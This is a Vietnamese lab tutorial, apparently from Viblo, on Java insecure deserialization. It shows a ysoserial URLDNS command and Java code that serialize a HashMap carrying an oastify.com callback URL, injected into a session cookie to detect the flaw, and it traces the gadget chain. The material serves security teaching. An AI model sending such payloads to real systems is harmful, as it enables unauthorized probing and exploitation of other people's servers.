+3

Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 5)

III. Lỗ hổng Deserialization trong ngôn ngữ Java (tiếp)

3. Gadget chains

Gadget chains là một chuỗi các đối tượng Java được sử dụng để thực hiện một hành động bất hợp pháp. Các đối tượng trong chuỗi gadget có thể kích hoạt các phương thức hoặc các lớp để thực hiện một hành động không mong muốn, chẳng hạn như việc thực thi mã độc.

Ví dụ, một gadget chain có thể bao gồm các đối tượng Serializable như FileInputStream, ObjectInputStreamRuntime.exec(). Khi chuỗi gadget này được giải mã và thực thi, nó có thể mở một tập tin và thực thi mã độc.

Thực tế, từng trường hợp xây dựng kịch khai thác lỗ hổng Deserialization trong Java thì các gadget chain cần xây dựng cũng khác nhau, phụ thuộc vào từng ứng dụng. Kỹ năng và kinh nghiệm đòi hỏi ở người tấn công cũng rất cao. Trước hết, chúng ta cần tìm hiểu và phân tích các gadget chain đã có, điển hình là bộ công cụ ysoserial. Tool này cung cấp cho chúng ta các gadget đã được tác giả xây dựng từ trước có thể trực tiếp tấn công vào ứng dụng theo từng tình huống các công nghệ và framework được sử dụng.

image.png

Phân tích một ví dụ cho việc sử dụng công cụ ysoserial thực hiện khai thác lỗ hổng Deserialization trong Java. Lab Exploiting Java deserialization with Apache Commons.

Sau khi đăng nhập, chú ý đến giá trị session:

image.png

image.png

Sau khi decode URL và base64, nhận thấy hai bytes đầu tiên có giá trị là AC ED. Trong serialization của ngôn ngữ Java, thì hai bytes này chỉ định rằng đây là một giao thức serialization (tham khảo thêm tại bài viết Quá trình de/serialization trong java thực sự diễn ra như thế nào?). Đây cũng là dấu hiệu cho thấy hệ thống sẽ thực hiện deserialize giá trị session này nhằm xác thực người dùng.

Để kiểm tra trang web có chứa lỗ hổng Deserialization tại vị trí session hay không, chúng ta có thể sử dụng gadget URLDNS trong bộ tool ysoserial thực hiện DNS lookup. Payload:

java -jar ysoserial.jar URLDNS "http://g5mui0wjv0gs6u8zxy1lv7b8mzsqgh46.oastify.com" | base64 -w0

Trong đó http://g5mui0wjv0gs6u8zxy1lv7b8mzsqgh46.oastify.com được sinh bởi Collaborator của Burp Suite (các bạn cũng có thể sử dụng một số trang web DNS online miễn phí), mã hóa payload với Base64 và tùy chọn -w0 loại bỏ ký tự xuống dòng của payload.

image.png

Thay gadget thu được vào session trong cookie, lưu ý cần mã hóa URL (có thể dùng tool Decoder của Burp Suite).

image.png

image.png

Sau khi gửi request với gadget trên, server Collaborator nhận được request đến, chứng tỏ tại vị trí session của trang web có thể bị khai thác lỗ hổng Deserialization.

image.png

4. Học tập từ gadget chain mẫu - Gadget URLDNS trong ysoserial

Standing on the shoulders of giants

Đứng trên vai người khổng lồ - ý chỉ các phát minh, khám phá, sáng tạo được tạo ra nhờ sự tiếp nối, phát triển trên nền tảng kiến thức, công trình, phát minh trước đó. Học tập và rút kinh nghiệm từ các thành quả của người đi trước sẽ mang đến chúng ta một nền tảng kiến thức và bài học đúc kết quý giá, tránh lãng phí thời gian không cần thiết.

Trong mục này, chúng ta sẽ cùng phân tích về ý tưởng, hướng đi, cách thực hiện của gadget URLDNS trong bộ gadget ysoserial. Đây là một gadget giúp chúng ta tạo ra một kết nối tương tác từ server mục tiêu gửi đến domain DNS đích (thường được dựng bởi kẻ tấn công) nhằm kiểm tra khả năng ẩn chứa lỗ hổng Deserialization.

Lý do tôi lựa chọn phân tích gadget này bởi URLDNS luôn hoạt động được trong tất cả trường hợp lỗ hổng Deserialization, không cần quan tâm đến các yếu tố khác như phiên bản JDK, Java version, framework, ... Đồng thời đây cũng là một gadget khá cơ bản trong bộ tool ysoserial, phù hợp với các bạn mới làm quen việc xây dựng gadget chain trong Java.

4.1. Dựng môi trường

Một số thông tin ban đầu:

Tải toàn bộ mã nguồn công cụ ysoserial, mở trong IntelliJ. Lựa chọn File > Project Structure (hoặc tổ hợp phím Ctrl+Alt+Shift+S), tại tùy chọn Project, thay đổi SDK thành phiên bản 1.81.8.

image.png

Lựa chọn Run > Edit Configurations, thêm một configuration Application và thay đổi thông tin như sau:

image.png

Chạy chương trình URLDNS.java

image.png

Lúc này, nếu tại Burp Collaborator nhận được request gửi tới nghĩa là bước dựng môi trường đã thành công!

image.png

4.2. Phân tích

Gadget chain được tác giả sử dụng:

HashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode()

Chain này hoạt động với thứ tự gọi các phương thức: URL.hashCode() \rightarrow HashMap.hash() \rightarrow HashMap.putVal() \rightarrow HashMap.readObject().

Đi ngược luồng hoạt động của chương trình khi chạy. Trước hết, đối tượng được tác giả thực hiện Deserialize là đối tượng ht thuộc lớp HashMap

image.png

Quan sát mã nguồn lớp này (Bằng cách đưa con trỏ chuột vào tên lớp và sử dụng F4), khi Deserialize, chương trình sẽ gọi phương thức readObject() của nó:

image.png

Tiếp theo cần gọi tới phương thức HashMap.putVal(). Từ phương thức này cần gọi tới phương thức HashMap.hash() nên tác giả sử dụng phương thức put() thuộc lớp HashMap:

image.png

Quan sát mã nguồn phương thức HashMap.hash():

image.png

Phương thức thực hiện so sánh nếu key nhận giá trị null sẽ trả về 0, ngược lại trả về h ^ (h >>> 16) với biến Integer h là kết quả trả về phương thức key.hashCode(). Ở đây tác giả sử dụng phương thức hashCode() thuộc lớp URL (Đây là điểm kết thúc chain). Quan sát mã nguồn phương thức URL.hashCode():

image.png

Tại đây, nếu giá trị hashCode = -1 sẽ gọi phương thức hashCode() thuộc lớp URLStreamHandler:

image.png

Quan sát source code phương thức này:

image.png

Tại đây gọi phương thức getHostAddress(), có chức năng thực hiện một lần phân giải tên miền DNS:

image.png

Như vậy, sau khi tạo một đối tượng thuộc lớp HashMap, có hai điều kiện cần thỏa mãn:

  • Điều kiện 11: Phương thức HashMap.put() được gọi.
  • Điều kiện 22: Để việc phân giải tên miền DNS chỉ được thực hiện khi Deserialize, cần cho giá trị hashCode khác 1-1 trước khi Deserialize.

Do thuộc tính hashCode có tính chất private nên chúng ta cần sử dụng kỹ thuật Java reflection để thay đổi giá trị của nó.

image.png

Chúng ta sẽ thay đổi giá trị hashCode thành bất kỳ giá trị khác 1-1 trước khi thực hiện phương thức HashMap.put(), sau đó thiết lập lại thành 1-1 để khi Deserialize thực hiện phân giải tên miền DNS. Có thể tham khảo thêm đoạn code sau:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String [] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        HashMap hm = new HashMap();
        URL u = new URL("http://vjidimz4b5n24m3se9xn9l2twk2cq3urj.oastify.com");

        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u, 123);

        hm.put(u, 1);
        field.set(u, -1);
        
        Serialize(hm);
        Deserialize();
    }

    public static void Serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("test.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.close();
    }

    public static void Deserialize() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("test.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}

URLDNS là một gadget khá cơ bản trong bộ công cụ ysoserial, bạn đọc nên tự debug và phân tích thêm các gadget khác (CommonsCollections1, CommonsCollections2, ...) để hiểu rõ hơn các cách tìm kiếm và ý tưởng thực hiện trong việc xây dựng gadget.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.